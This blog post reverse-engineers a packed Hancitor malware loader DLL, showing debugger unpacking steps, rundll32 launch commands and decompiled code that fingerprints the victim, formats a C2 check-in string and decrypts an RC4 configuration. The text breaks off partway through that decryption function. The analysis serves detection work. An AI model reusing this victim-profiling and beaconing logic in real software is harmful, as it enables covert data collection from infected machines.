gemesa@home:~$

Reversing the Hancitor loader

Table of contents

Introduction

Hancitor (also known as Chanitor) is a well-known malware loader, active since 2013. It is designed to install other malware on infected targets and is typically distributed through documents containing malicious macros and phishing campaigns. Once a victim opens the document and enables macros, Hancitor infects the target system and awaits additional C2 (Command and Control) instructions, such as installing ransomware or information stealers. More details can be found here and here.

In this post we will reverse a Hancitor .dll variant available on Malware Bazaar using Ghidra (static analysis) and x32dbg/x64dbg (dynamic analysis). After the analysis, we will implement some YARA and Suricata rules to be able to detect infected machines.

Executive summary

This Hancitor loader variant is a packed malware that unpacks a PE file in memory and then runs it from there. It uses additional obfuscation by storing the configuration (such as C2 server addresses) encrypted with RC4 and a hard-coded key which it decrypts using the Windows CryptoAPI. It collects details about the victim’s system (like the OS, IP address, domain info, computer name and username). This information is used to create a unique victim ID and -probably- to choose the right payload later. The data is sent to the C2 server which then sends back commands in a base64 and XOR-encoded format, instructing the malware on how to load extra payloads and providing a download link. Hancitor can download and run different types of malicious files (.exe, .dll and shellcode) and can execute them in the context of the current process, by injecting into processes, running them as new processes or dropping them directly onto the disk (as a temp file) and running them from there.

Detailed analysis

First we shorten the binary name so that the commands and outputs are easier to read in the following chapters.

> move efbdd00df327459c9db2ffc79b2408f7f3c60e8ba5f8c5ffd0debaff986863a8.dll hancitor.dll

Hashes

> Get-FileHash hancitor.dll -Algorithm MD5 | Select-Object -ExpandProperty Hash
2172FDC8532872295D309682C5F323D9
> Get-FileHash hancitor.dll -Algorithm SHA1 | Select-Object -ExpandProperty Hash
A539B7FCB7706ADE3F5A3E9B01C27AE2399FBE61
> Get-FileHash hancitor.dll -Algorithm SHA256 | Select-Object -ExpandProperty Hash
EFBDD00DF327459C9DB2FFC79B2408F7F3C60E8BA5F8C5FFD0DEBAFF986863A8

Overview

We can start with Detect It Easy (DiE) to get a quick high level overview.

The binary is a 32 bit, packed .dll file but the packer is unknown:

$ diec hancitor.dll 
PE32
    Linker: Microsoft Linker(8.00.50727)
    Compiler: Microsoft Visual C/C++(14.00.50727)[LTCG/C]
    Tool: Visual Studio(2005)
$ diec -i hancitor.dll 
Info: 
    File name: /home/gemesa/Downloads/malware-bazaar/hancitor.dll
    Size: 491520
    File type: PE32
    String: PE(I386)
    Extension: dll
    Operation system: Windows(95)
    Architecture: I386
    Mode: 32-bit
    Type: DLL
    Endianness: LE
$ diec -b -e hancitor.dll
Total 6.41629: not packed
  0|PE Header|0|4096|0.799372: not packed
  1|Section(0)['.text']|4096|380928|6.54032: packed
  2|Section(1)['.data']|385024|8192|1.54622: not packed
  3|Section(2)['.reloc']|393216|16384|4.08239: not packed

x32dbg

As we saw above, the binary is packed but DiE does not recognize the packer. In a lot of cases the binary can be unpacked by putting a breakpoint on VirtualAlloc and monitoring the allocated memory region(s). We might get lucky and recognize the MZ (4D 5A) magic number in memory which will mark the beginning of the unpacked PE file. Note that the unpacked file might not start at the beginning of the allocated memory region, so it is not enough to check the first bytes only.

Let’s start experimenting and load the .dll. Then navigate to Symbols –> kernel32.dll –> VirtualAlloc, select it and press F2 (toggle breakpoint).

x32dbg-0

Then navigate back to CPU and click Run. The first breakpoint is at OptionalHeader.AddressOfEntryPoint, click Run once again. The first VirtualAlloc call is hit. The memory address of the allocated section will be the return value of VirtualAlloc (stored in EAX), so we need to click Execute till return. At this point EAX stores the start of the allocated memory region. Right click on EAX –> Follow in dump –> select the 1. byte in the Dump 1 window –> right-click –> Breakpoint –> Hardware, Access –> Byte.

x32dbg-1

Click Run. We can see that the memory region is being written. Click Step over so rep movsb executes and fills the memory region.

x32dbg-2

We can search for MZ in this memory region by navigating to Memory Map, selecting the region starting at 0x02F70000 (this address will change in each run), right-clicking on this region and selecting Find Pattern.... Search for the MZ ASCII string. This will result in a false positive when following the single match in the dump. It does not look like a valid PE header (the DOS stub is missing for example).

x32dbg-3

We can click on Run and wait to hit the next VirtualAlloc call. The workflow is the same as before, we click Execute till return, select EAX, click Follow in dump, set a HW access breakpoint on the 1. byte of the dump memory. We also remove the breakpoint set previously at 0x02F70000. Then we click Run again. We can see that the memory region is being written. Click Step over so rep movsb executes and fills the memory region. Search for MZ: there is no match. Click Run. We stop at another rep movsb instruction. Click Step Over. Search for MZ: there is no match. Click Run. We enter a loop. There is a leave instruction after loop, set a breakpoint on it. At this point the loop is finished and we can check the content of the related memory section. Search for MZ: there is no match.

Click Run. We hit the 3. VirtualAlloc and things get more interesting. The workflow is the same as before, we click Execute till return, select EAX, click Follow in dump, set a HW access breakpoint on the 1. byte of the dump memory. Then we click Run once so our HW breakpoint is hit. After hitting Execute till return a couple of times and searching for the MZ pattern after each one, we can see a PE file forming in the memory. When it is fully unpacked, we can dump it to disk.

x32dbg-4

The PE unpacking is finished at this ret instruction:

02F7023F | 31C9                     | xor ecx,ecx                             | ecx:ZwFreeVirtualMemory+C
02F70241 | 41                       | inc ecx                                 | ecx:ZwFreeVirtualMemory+C
02F70242 | E8 EEFFFFFF              | call 2F70235                            |
02F70247 | 11C9                     | adc ecx,ecx                             | ecx:ZwFreeVirtualMemory+C
02F70249 | E8 E7FFFFFF              | call 2F70235                            |
02F7024E | 72 F2                    | jb 2F70242                              |
02F70250 | C3                       | ret                                     |
02F70251 | 2B7C24 28                | sub edi,dword ptr ss:[esp+28]           |
02F70255 | 897C24 1C                | mov dword ptr ss:[esp+1C],edi           |
02F70259 | 61                       | popad                                   |
02F7025A | C3                       | ret                                     |

We can dump the file by navigating to Memory Map –> 0x030E0000 –> right-click –> Dump Memory to File and save it. Since the PE file header does not begin at the start of the memory region, we need to trim all data before the MZ magic number. Any hex editor can be used for this. (e.g. the 010 editor on Flare VM).

Alternatively, you can use the built-in savedata command:

savedata C:\Users\gemesa\Desktop\hancitor-unpacked.bin, 030E437C, 030E0000 + 00012000 - 030E437C

After rebuilding the unpacked binary with Scylla: Plugins –> Scylla –> PE Rebuild, it is ready for static analysis.

Note: my personal preference is manual unpacking but there are alternative automated solutions available, e.g.:

Ghidra

Now that we have the unpacked binary, we can analyse it in Ghidra. During the analysis most of the functions have been renamed (based on their characteristics), for example FUN_10001870 –> mw_main. The binary is stripped so Ghidra uses names like FUN_<address> and DAT_<address> after it runs its initial analysis. I usually add the mw_ prefix (meaning malware) to all of the functions so they can be filtered and searched later more easily, and the _w suffix (meaning wrapper) to wrapper functions. If there are two wrapper levels _ww is used and so on.

Ghidra note 0

Sometimes Ghidra does not recognize strings automatically and we need to change the datatype manually.

Before:

                             DAT_100041b8                                    > XREF[1]:     mw_handle_http_request_with_head
        100041b8 50              ??         50h    P
        100041b9 4f              ??         4Fh    O
        100041ba 53              ??         53h    S
        100041bb 54              ??         54h    T
        100041bc 00              ??         00h
        100041bd 00              ??         00h
        100041be 00              ??         00h
        100041bf 00              ??         00h

After:

                             s_POST_100041b8                                 > XREF[1]:     mw_handle_http_request_with_head
        100041b8 50 4f 53        ds         "POST"
                 54 00
        100041bd 00              ??         00h
        100041be 00              ??         00h
        100041bf 00              ??         00h

Decompilation before:

          local_8 = HttpOpenRequestA(local_c,&DAT_100041b8,local_278,0,0,&> PTR_DAT_10007048,local_14,
                                     0);

Decompilation after:

          local_8 = HttpOpenRequestA(local_c,s_POST_100041b8,local_278,0,0,&> PTR_s_*/*_10007048,
                                     local_14,0);

The .dll has 2 exports:

  • entry
  • FCQNEAXPXCR

entry is an empty function.

FCQNEAXPXCR is where things get more interesting. If we open the listing we can see there is an other name pointing to the same 0x19e0 address.

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined __stdcall FCQNEAXPXCR(void)
                               assume FS_OFFSET = 0xffdff000
             undefined         AL:1           <RETURN>
                             0x19e0  1  FCQNEAXPXCR
                             0x19e0  2  GSDEAEBPVHTSM
                             GSDEAEBPVHTSM                                   XREF[3]:     Entry Point(*), 100043d8(*), 
                             Ordinal_2                                                    100043dc(*)  
                             Ordinal_1
                             FCQNEAXPXCR

This means the function can be executed using any of the aliases:

rundll32.exe hancitor.dll,FCQNEAXPXCR
rundll32.exe hancitor.dll,GSDEAEBPVHTSM

Or using the ordinal numbers:

rundll32.exe hancitor.dll,#1
rundll32.exe hancitor.dll,#2

It directly calls mw_main():

void FCQNEAXPXCR(void)

{
                    /* 0x19e0  1  FCQNEAXPXCR
                       0x19e0  2  GSDEAEBPVHTSM */
  if (DAT_10007260 == 0) {
    mw_main();
    DAT_10007260 = 1;
  }
  return;
}
void mw_main(void)

{
  int iVar1;
  int local_24;
  int local_20;
  int local_1c;
  char *local_18;
  char *local_14;
  char *local_10;
  SIZE_T local_c;
  char *local_8;
  
  local_c = 0x100000;
  local_14 = (char *)mw_heap_alloc_w(0x100000);
  local_18 = (char *)mw_heap_alloc_w(local_c);
  local_8 = (char *)mw_heap_alloc_w(0x1000);
  local_20 = 1;
  while (local_20 == 1) {
    iVar1 = mw_collect_and_send_info(local_14,local_c,&local_24);
    if (iVar1 == 1) {
      local_24 = mw_base64_decode_and_xor((int)(local_14 + 4),(int)local_18);
      local_10 = local_18;
      do {
        local_10 = mw_extract_cmd(local_10,local_8);
        iVar1 = mw_check_cmd(local_8);
        if (iVar1 == 1) {
          local_1c = 0;
          iVar1 = mw_execute_cmd(local_8,&local_1c);
          if ((iVar1 == 1) && (local_1c == 0)) {
            mw_store_failed_cmd(local_8);
          }
        }
      } while (local_10 != (char *)0x0);
    }
    Sleep(60000);
    mw_retry_failed_cmd();
    Sleep(60000);
  }
  return;
}

Ghidra note 1

In some cases you might see local variables in a function like in_EAX.

longlong __fastcall __allshl(byte param_1,int param_2)

{
  uint in_EAX;
  
  if (0x3f < param_1) {
    return 0;
  }
  if (param_1 < 0x20) {
    return CONCAT44(param_2 << (param_1 & 0x1f) | in_EAX >> 0x20 - (param_1 & 0x1f),
                    in_EAX << (param_1 & 0x1f));
  }
  return (ulonglong)(in_EAX << (param_1 & 0x1f)) << 0x20;
}

Which might also affect the decompilation of the caller:

  mw_get_volume_serial_number();
  lVar1 = __allshl(0x20,0);

Where mw_get_volume_serial_number has a return value so something is clearly not right.

DWORD mw_get_volume_serial_number(void)

The problem and the solution is discussed here:

Right click on the function, select edit function signature. Set the calling convention to the correct one. If it is not present, or doesn’t properly follow a convention, check the “use custom storage “ and assign the storage as necessary.

Before:

Ghidra custom storage (before)

After:

Ghidra custom storage (after)

Now in_EAX is gone and the code looks much better:

longlong __fastcall __allshl(byte param_1,int param_2,int param_3)

{
  if (0x3f < param_1) {
    return 0;
  }
  if (param_1 < 0x20) {
    return CONCAT44(param_2 << (param_1 & 0x1f) | (uint)param_3 >> 0x20 - (param_1 & 0x1f),
                    param_3 << (param_1 & 0x1f));
  }
  return (ulonglong)(uint)(param_3 << (param_1 & 0x1f)) << 0x20;
}
  DVar1 = mw_get_volume_serial_number();
  lVar2 = __allshl(0x20,0,DVar1);

We will not go through each function, only the most important ones such as mw_collect_and_send_info. Call graphs will also help us with a high level overview in some cases. Links to the relevant Windows API docs will be also added after each code block.

undefined4 __cdecl mw_collect_and_send_info(char *param_1,int param_2,int *param_3)

{
  BYTE *pBVar1;
  CHAR *pCVar2;
  CHAR *pCVar3;
  CHAR *pCVar4;
  uint uVar5;
  uint uVar6;
  CHAR local_1944 [4096];
  CHAR local_944 [2048];
  CHAR local_144 [256];
  CHAR local_44 [32];
  int local_24;
  undefined8 local_20;
  int local_18;
  uint local_14;
  uint local_10;
  DWORD local_c;
  int local_8;
  
  local_8 = 0x10001aad;
  local_c = GetVersion();
  local_20 = mw_get_id_from_mac_and_vsn_w();
  mw_get_computer_and_username(local_144);
  mw_get_public_ip_w(local_44);
  mw_get_domains(local_944);
  local_14 = local_c & 0xff;
  local_10 = (local_c & 0xffff) >> 8;
  local_24 = mw_get_system_info_w();
  if (local_24 == 1) {
    pCVar4 = local_44;
    pCVar3 = local_944;
    pCVar2 = local_144;
    uVar5 = local_14;
    uVar6 = local_10;
    pBVar1 = mw_decrypt_config_w();
    wsprintfA(local_1944,s_GUID=%I64u&BUILD=%s&INFO=%s&EXT=_100041f8,(undefined4)local_20,
              local_20._4_4_,pBVar1,pCVar2,pCVar3,pCVar4,uVar5,uVar6);
  }
  else {
    pCVar4 = local_44;
    pCVar3 = local_944;
    pCVar2 = local_144;
    uVar5 = local_14;
    uVar6 = local_10;
    pBVar1 = mw_decrypt_config_w();
    wsprintfA(local_1944,s_GUID=%I64u&BUILD=%s&INFO=%s&EXT=_10004238,(undefined4)local_20,
              local_20._4_4_,pBVar1,pCVar2,pCVar3,pCVar4,uVar5,uVar6);
  }
  if (DAT_100072a0 == (BYTE *)0x0) {
    DAT_100072a0 = (BYTE *)mw_heap_alloc_w(0x400);
    *DAT_100072a0 = '\0';
  }
  local_18 = 1;
  while( true ) {
    if (local_18 != 1) {
      return 0;
    }
    if (*DAT_100072a0 == '\0') {
      local_18 = mw_parse_c2_urls(DAT_100072a0);
    }
    local_8 = mw_handle_http_request_with_header
                        (DAT_100072a0,local_1944,(int)param_1,param_2,param_3);
    if (local_8 == 1) {
      local_8 = mw_check_pattern(param_1);
    }
    if (local_8 == 1) break;
    *DAT_100072a0 = '\0';
  }
  return 1;
}

The malware assembles a victim ID string (and sends it to C2 later) containing various information about the victim machine.

The string is the following on 64 bit machines:

"GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)"

And looks like this on 32 bit machines:

"GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)"

The Windows version is added as WIN to the victim ID string.

undefined4 __cdecl mw_collect_and_send_info(char *param_1,int param_2,int *param_3)

{
...
  DWORD local_c;
...
  local_c = GetVersion();
...
  local_14 = local_c & 0xff;
  local_10 = (local_c & 0xffff) >> 8;
...
    uVar5 = local_14;
    uVar6 = local_10;
...
    wsprintfA(local_1944,s_GUID=%I64u&BUILD=%s&INFO=%s&EXT=_100041f8,(undefined4)local_20,
              local_20._4_4_,pBVar1,pCVar2,pCVar3,pCVar4,uVar5,uVar6);

GetVersion

Then mw_get_id_from_mac_and_vsn generates a unique ID from the MAC addresses and the volume serial number of the root drive.

undefined8 mw_get_id_from_mac_and_vsn(void)

{
  DWORD DVar1;
  longlong lVar2;
  uint local_24;
  uint local_20;
  uint local_1c;
  uint uStack_18;
  int local_14;
  LPVOID local_10;
  undefined4 local_c;
  LPVOID local_8;
  
  local_1c = 0;
  uStack_18 = 0;
  local_c = 0x8000;
  local_10 = mw_heap_alloc_w(0x8000);
  local_8 = local_10;
  local_14 = GetAdaptersAddresses(2,0,0,local_10,&local_c);
  if (local_14 == 0) {
    for (; local_8 != (LPVOID)0x0; local_8 = *(LPVOID *)((int)local_8 + 8)) {
      mw_memset((undefined *)&local_24,0,8);
      mw_memcpy((undefined *)&local_24,(undefined *)((int)local_8 + 0x2c),
                *(int *)((int)local_8 + 0x34));
      local_1c = local_1c ^ local_24;
      uStack_18 = uStack_18 ^ local_20;
    }
  }
  mw_heap_free_w(local_10);
  DVar1 = mw_get_volume_serial_number();
  lVar2 = __allshl(0x20,0,DVar1);
  return CONCAT44((uint)((ulonglong)lVar2 >> 0x20) ^ uStack_18,(uint)lVar2 ^ local_1c);
}

GetAdaptersAddresses

DWORD mw_get_volume_serial_number(void)

{
  BOOL BVar1;
  CHAR local_110 [3];
  undefined uStack_10d;
  DWORD local_c;
  UINT local_8;
  
  local_8 = GetWindowsDirectoryA(local_110,0x104);
  if (local_8 != 0) {
    uStack_10d = 0;
    BVar1 = GetVolumeInformationA
                      (local_110,(LPSTR)0x0,0,&local_c,(LPDWORD)0x0,(LPDWORD)0x0,(LPSTR)0x0,0);
    if (BVar1 != 0) {
      return local_c;
    }
  }
  return 0;
}

GetWindowsDirectoryA

GetVolumeInformationA

The unique ID is added as GUID to the victim ID string.

"GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)"
undefined4 __cdecl mw_collect_and_send_info(char *param_1,int param_2,int *param_3)

{
...
undefined8 local_20;
...
  local_20 = mw_get_id_from_mac_and_vsn_w();
...
    wsprintfA(local_1944,s_GUID=%I64u&BUILD=%s&INFO=%s&EXT=_100041f8,(undefined4)local_20,
              local_20._4_4_,pBVar1,pCVar2,pCVar3,pCVar4,uVar5,uVar6);

Ghidra note 2

In some cases you might see extraout_vars and CONCATs in the decompiled code which makes it less readable. Usually this means the return type of a function is wrong and needs to be fixed manually.

Before:

  bVar1 = mw_get_username(local_210);
  if (CONCAT31(extraout_var,bVar1) != 0) {
    lstrcatA(param_1,local_210);
  }
bool __cdecl mw_get_username(LPSTR param_1)

After:

  iVar2 = mw_get_username(local_210);
  if (iVar2 != 0) {
    lstrcatA(param_1,local_210);
  }
int __cdecl mw_get_username(LPSTR param_1)

Then it gets the computer name and username, and concatenates them separated by a @.

undefined4 __cdecl mw_get_computer_and_username(LPSTR param_1)

{
  BOOL BVar1;
  int iVar2;
  CHAR local_210 [260];
  CHAR local_10c [260];
  DWORD local_8;
  
  *param_1 = '\0';
  local_8 = 0x104;
  BVar1 = GetComputerNameA(local_10c,&local_8);
  if (BVar1 != 0) {
    lstrcatA(param_1,local_10c);
  }
  lstrcatA(param_1,s_@_100042bc);
  iVar2 = mw_get_username(local_210);
  if (iVar2 != 0) {
    lstrcatA(param_1,local_210);
  }
  return 1;
}

GetComputerNameA

Getting the computer name is straightforward with a simple API call. Figuring out the username requires more effort:

int __cdecl mw_get_username(LPSTR param_1)

{
  int iVar1;
  CHAR local_218 [260];
  CHAR local_114 [260];
  DWORD local_10;
  undefined4 local_c;
  undefined4 local_8;
  
  local_10 = mw_get_pid_by_name(s_explorer.exe_100042a8);
  local_c = 0x104;
  local_8 = 0x104;
  *param_1 = '\0';
  iVar1 = mw_get_process_username(local_10,local_218,0x104,local_114);
  if (iVar1 != 0) {
    lstrcpyA(param_1,local_114);
    lstrcatA(param_1,s_\_100042b8);
    lstrcatA(param_1,local_218);
  }
  return (uint)(iVar1 != 0);
}

First the program fetches the PID of explorer.exe via mw_get_pid_by_name.

OrderedCallGraphGenerator.java> Running...
OrderedCallGraphGenerator.java> 
mw_get_pid_by_name @ 10002e90
  __alloca_probe @ 10001420
  K32EnumProcesses @ 10003bdd
    K32EnumProcesses @ EXTERNAL:000000bc
  mw_get_process_file_name @ 10002f30
    OpenProcess @ EXTERNAL:00000129
    K32GetProcessImageFileNameA @ 10003be3
      K32GetProcessImageFileNameA @ EXTERNAL:000000be
    CloseHandle @ EXTERNAL:0000011e
    lstrcpyA @ EXTERNAL:0000005c
  lstrcmpiA @ EXTERNAL:00000061

OrderedCallGraphGenerator.java> Finished!

mw_get_pid_by_name finds the PID by enumerating all running processes, retrieving the executable filename for each one and returning the PID when the filename matches the requested name (which is explorer.exe that runs in the user’s security context).

DWORD __cdecl mw_get_pid_by_name(LPCSTR param_1)

{
  int iVar1;
  DWORD local_1114 [1024];
  CHAR local_114 [260];
  uint local_10;
  uint local_c;
  uint local_8;
  
  local_8 = 0x10002e9d;
  iVar1 = K32EnumProcesses(local_1114,0x1000,&local_c);
  if (iVar1 != 0) {
    local_10 = local_c >> 2;
    for (local_8 = 0; local_8 < local_10; local_8 = local_8 + 1) {
      iVar1 = mw_get_process_file_name(local_1114[local_8],local_114);
      if ((iVar1 != 0) && (iVar1 = lstrcmpiA(local_114,param_1), iVar1 == 0)) {
        return local_1114[local_8];
      }
    }
  }
  return 0xffffffff;
}

EnumProcesses/K32EnumProcesses

undefined4 __cdecl mw_get_process_file_name(DWORD param_1,LPSTR param_2)

{
  char local_118 [260];
  uint local_14;
  char *local_10;
  HANDLE local_c;
  uint local_8;
  
  local_c = OpenProcess(0x400,0,param_1);
  if (local_c != (HANDLE)0x0) {
    local_14 = K32GetProcessImageFileNameA(local_c,local_118,0x104);
    CloseHandle(local_c);
    if (local_14 != 0) {
      local_10 = (char *)0x0;
      for (local_8 = 0; local_8 < local_14; local_8 = local_8 + 1) {
        if (local_118[local_8] == '\\') {
          local_10 = local_118 + local_8 + 1;
        }
        if (local_118[local_8] == '\0') break;
      }
      if (local_10 != (LPCSTR)0x0) {
        lstrcpyA(param_2,local_10);
        return 1;
      }
    }
  }
  return 0;
}

OpenProcess

GetProcessImageFileNameA/K32GetProcessImageFileNameA

CloseHandle

Then it looks up the username via the following steps:

  • takes the PID of explorer.exe
  • opens the process and its token
  • retrieves the token’s user SID (Security Identifier)
  • looks up the account name from the SID
undefined4 __cdecl
mw_get_process_username(DWORD param_1,LPSTR param_2,undefined4 param_3,LPSTR param_4)

{
  BOOL BVar1;
  DWORD DVar2;
  _SID_NAME_USE local_20;
  undefined4 local_1c;
  PSID *local_18;
  PSID *local_14;
  HANDLE local_10;
  HANDLE local_c;
  SIZE_T local_8;
  
  local_c = OpenProcess(0x400,0,param_1);
  if ((local_c != (HANDLE)0x0) && (BVar1 = OpenProcessToken(local_c,0x20008,&local_10), BVar1 != 0))
  {
    local_8 = 0;
    BVar1 = GetTokenInformation(local_10,TokenUser,(LPVOID)0x0,0,&local_8);
    if ((BVar1 == 0) && (DVar2 = GetLastError(), DVar2 == 0x7a)) {
      local_18 = (PSID *)mw_heap_alloc_w(local_8);
      local_1c = 0;
      local_14 = local_18;
      BVar1 = GetTokenInformation(local_10,TokenUser,local_18,local_8,&local_8);
      if ((BVar1 != 0) &&
         (BVar1 = LookupAccountSidA((LPCSTR)0x0,*local_14,param_2,&param_3,param_4,
                                    (LPDWORD)&stack0x00000014,&local_20), BVar1 != 0)) {
        local_1c = 1;
      }
      mw_heap_free_w(local_18);
      return local_1c;
    }
  }
  return 0;
}

OpenProcess

OpenProcessToken

GetTokenInformation

GetLastError

LookupAccountSidA

The computer and username are added as INFO to the victim ID string.

"GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)"
undefined4 __cdecl mw_collect_and_send_info(char *param_1,int param_2,int *param_3)

{
...
  CHAR local_144 [256];
...
  mw_get_computer_and_username(local_144);
...
    pCVar2 = local_144;
...
    wsprintfA(local_1944,s_GUID=%I64u&BUILD=%s&INFO=%s&EXT=_100041f8,(undefined4)local_20,
              local_20._4_4_,pBVar1,pCVar2,pCVar3,pCVar4,uVar5,uVar6);

mw_get_public_ip_w fetches the victim’s public IP via http://api.ipify.org. If the query fails then 0.0.0.0 is used instead.

undefined4 __cdecl mw_get_public_ip_w(LPSTR param_1)

{
  undefined4 uVar1;
  int iVar2;
  int local_8;
  
  if (DAT_10007280 == '\0') {
    iVar2 = mw_handle_http_request(s_http://api.ipify.org_100041d0,0x10007280,0x20,&local_8);
    if (iVar2 == 1) {
      (&DAT_10007280)[local_8] = 0;
      lstrcpyA(param_1,&DAT_10007280);
      uVar1 = 1;
    }
    else {
      DAT_10007280 = '\0';
      lstrcpyA(param_1,s_0.0.0.0_100041e8);
      uVar1 = 0;
    }
  }
  else {
    lstrcpyA(param_1,&DAT_10007280);
    uVar1 = 1;
  }
  return uVar1;
}

Call graph of mw_handle_http_request:

OrderedCallGraphGenerator.java> Running...
OrderedCallGraphGenerator.java> 
mw_handle_http_request @ 10001fe0
  mw_memset @ 100014a0
  InternetCrackUrlA @ EXTERNAL:00000052
  mw_open_connection @ 100024f0
    InternetOpenA @ EXTERNAL:0000004e
  InternetConnectA @ EXTERNAL:00000057
  HttpOpenRequestA @ EXTERNAL:00000053
  InternetCloseHandle @ EXTERNAL:00000050
  InternetQueryOptionA @ EXTERNAL:00000055
  InternetSetOptionA @ EXTERNAL:00000054
  HttpSendRequestA @ EXTERNAL:0000004f
  HttpQueryInfoA @ EXTERNAL:00000051
  InternetReadFile @ EXTERNAL:00000056

OrderedCallGraphGenerator.java> Finished!

The public IP is added as IP to the victim ID string.

"GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)"
undefined4 __cdecl mw_collect_and_send_info(char *param_1,int param_2,int *param_3)

{
...
  CHAR local_44 [32];
...
  mw_get_public_ip_w(local_44);
...
    pCVar4 = local_44;
...
    wsprintfA(local_1944,s_GUID=%I64u&BUILD=%s&INFO=%s&EXT=_100041f8,(undefined4)local_20,
              local_20._4_4_,pBVar1,pCVar2,pCVar3,pCVar4,uVar5,uVar6);

Domain information is also collected:

undefined4 __cdecl mw_get_domains(LPSTR param_1)

{
  int iVar1;
  undefined4 uVar2;
  uint local_10;
  int local_c;
  uint local_8;
  
  *param_1 = '\0';
  iVar1 = DsEnumerateDomainTrustsA(0,0x3f,&local_c,&local_10);
  if (iVar1 == 0) {
    if (local_10 == 0) {
      uVar2 = 1;
    }
    else {
      for (local_8 = 0; local_8 < local_10; local_8 = local_8 + 1) {
        if (*(int *)(local_c + local_8 * 0x2c) != 0) {
          lstrcatA(param_1,*(LPCSTR *)(local_c + local_8 * 0x2c));
          lstrcatA(param_1,s_;_100041c8);
        }
        if (*(int *)(local_c + 4 + local_8 * 0x2c) != 0) {
          lstrcatA(param_1,*(LPCSTR *)(local_c + 4 + local_8 * 0x2c));
          lstrcatA(param_1,s_;_100041cc);
        }
      }
      uVar2 = 1;
    }
  }
  else {
    uVar2 = 0;
  }
  return uVar2;
}

DsEnumerateDomainTrustsA

Flags

Since 0x3f is passed as Flags, all domains are enumerated.

The domain information is added as EXT to the victim ID string.

"GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)"
undefined4 __cdecl mw_collect_and_send_info(char *param_1,int param_2,int *param_3)

{
...
  CHAR local_944 [2048];
...
  mw_get_domains(local_944);
...
    pCVar3 = local_944;
...
    wsprintfA(local_1944,s_GUID=%I64u&BUILD=%s&INFO=%s&EXT=_100041f8,(undefined4)local_20,
              local_20._4_4_,pBVar1,pCVar2,pCVar3,pCVar4,uVar5,uVar6);

mw_get_system_info_w determines the architecture (64 bit or 32 bit):

undefined4 mw_get_system_info_w(void)

{
  undefined4 uVar1;
  _SYSTEM_INFO local_30;
  FARPROC local_c;
  HMODULE local_8;
  
  mw_memset((undefined *)&local_30,0,0x24);
  local_8 = GetModuleHandleA(s_kernel32.dll_10004308);
  if (local_8 == (HMODULE)0x0) {
    uVar1 = 0;
  }
  else {
    local_c = GetProcAddress(local_8,s_GetNativeSystemInfo_10004318);
    if (local_c == (FARPROC)0x0) {
      GetSystemInfo(&local_30);
    }
    else {
      (*local_c)(&local_30);
    }
    if (local_30.u.s.wProcessorArchitecture == 9) {
      uVar1 = 1;
    }
    else {
      uVar1 = 0;
    }
  }
  return uVar1;
}

GetNativeSystemInfo

GetSystemInfo

Depending on the result, different ID strings are used ((x32) or (x64)):

undefined4 __cdecl mw_collect_and_send_info(char *param_1,int param_2,int *param_3)

{
...
  int local_24;
...
  local_24 = mw_get_system_info_w();
  if (local_24 == 1) {
...
    wsprintfA(local_1944,s_GUID=%I64u&BUILD=%s&INFO=%s&EXT=_100041f8,(undefined4)local_20,
              local_20._4_4_,pBVar1,pCVar2,pCVar3,pCVar4,uVar5,uVar6);
  }
  else {
...
    wsprintfA(local_1944,s_GUID=%I64u&BUILD=%s&INFO=%s&EXT=_10004238,(undefined4)local_20,
              local_20._4_4_,pBVar1,pCVar2,pCVar3,pCVar4,uVar5,uVar6);
  }
                             s_GUID=%I64u&BUILD=%s&INFO=%s&EXT=_100041f8     XREF[1]:     mw_collect_and_send_info:10001b5
        100041f8 47 55 49        ds         "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE
                 44 3d 25 
                 49 36 34 
        10004237 00              ??         00h

"GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)"
                             s_GUID=%I64u&BUILD=%s&INFO=%s&EXT=_10004238     XREF[1]:     mw_collect_and_send_info:10001b9
        10004238 47 55 49        ds         "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE
                 44 3d 25 
                 49 36 34 
        10004277 00              ??         00h
"GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)"

The malware contains a configuration data block which is encrypted via symmetric encryption and the key is hardcoded into the binary. This is a simple obfuscation strategy to defend against tools like strings.

BYTE * mw_decrypt_config_w(void)

{
  if (DAT_10007264 == (BYTE *)0x0) {
    DAT_10005000 = 0;
    DAT_10007264 = (BYTE *)mw_heap_alloc_w(0x2000);
    mw_memcpy(DAT_10007264,&DAT_10005018,0x2000);
    mw_decrypt_config(DAT_10007264,0x2000,&DAT_10005010,8);
  }
  return DAT_10007264;
}

Where DAT_10005010 is the key (length = 0x8) and DAT_10005018 is the data (length = 0x2000). Both of them is passed to mw_decrypt_config which handles the decryption using the Windows API.

Ghidra note 3

Equates can be used to look up magic numbers in Windows headers. It can be opened by right clicking on a number in either the listing or decompiler view and pressing E or selecting Set Equate....

ghidra-equate-0

Before:

CryptCreateHash(local_c,0x8004,0,0,&local_8)

After:

CryptCreateHash(local_c,CALG_SHA1,0,0,&local_8)

We are interested mainly in the CryptCreateHash and CryptDeriveKey calls where we can see that SHA1 is used to derive the key and RC4 is used as the encryption algorithm. There is an other important detail here which is not immediately obvious: the number 0x280011 passed to CryptDeriveKey. When we try to look it up in Equates nothing shows up. The reason is that this number is a combination of multiple flags. According to the documentation:

The key size, representing the length of the key modulus in bits, is set with the upper 16 bits of this parameter.

This means that in our case the key is 5 bytes long:

0x280011 = 0b0000 0000 0010 1000 0000 0000 0001 0001 where the upper 16 bits are 0b0000 0000 0010 1000 which is 40 bits or 5 bytes.

DWORD __cdecl mw_decrypt_config(BYTE *param_1,DWORD param_2,BYTE *param_3,DWORD param_4)

{
  BOOL BVar1;
  DWORD local_14;
  HCRYPTKEY local_10;
  HCRYPTPROV local_c;
  HCRYPTHASH local_8;
  
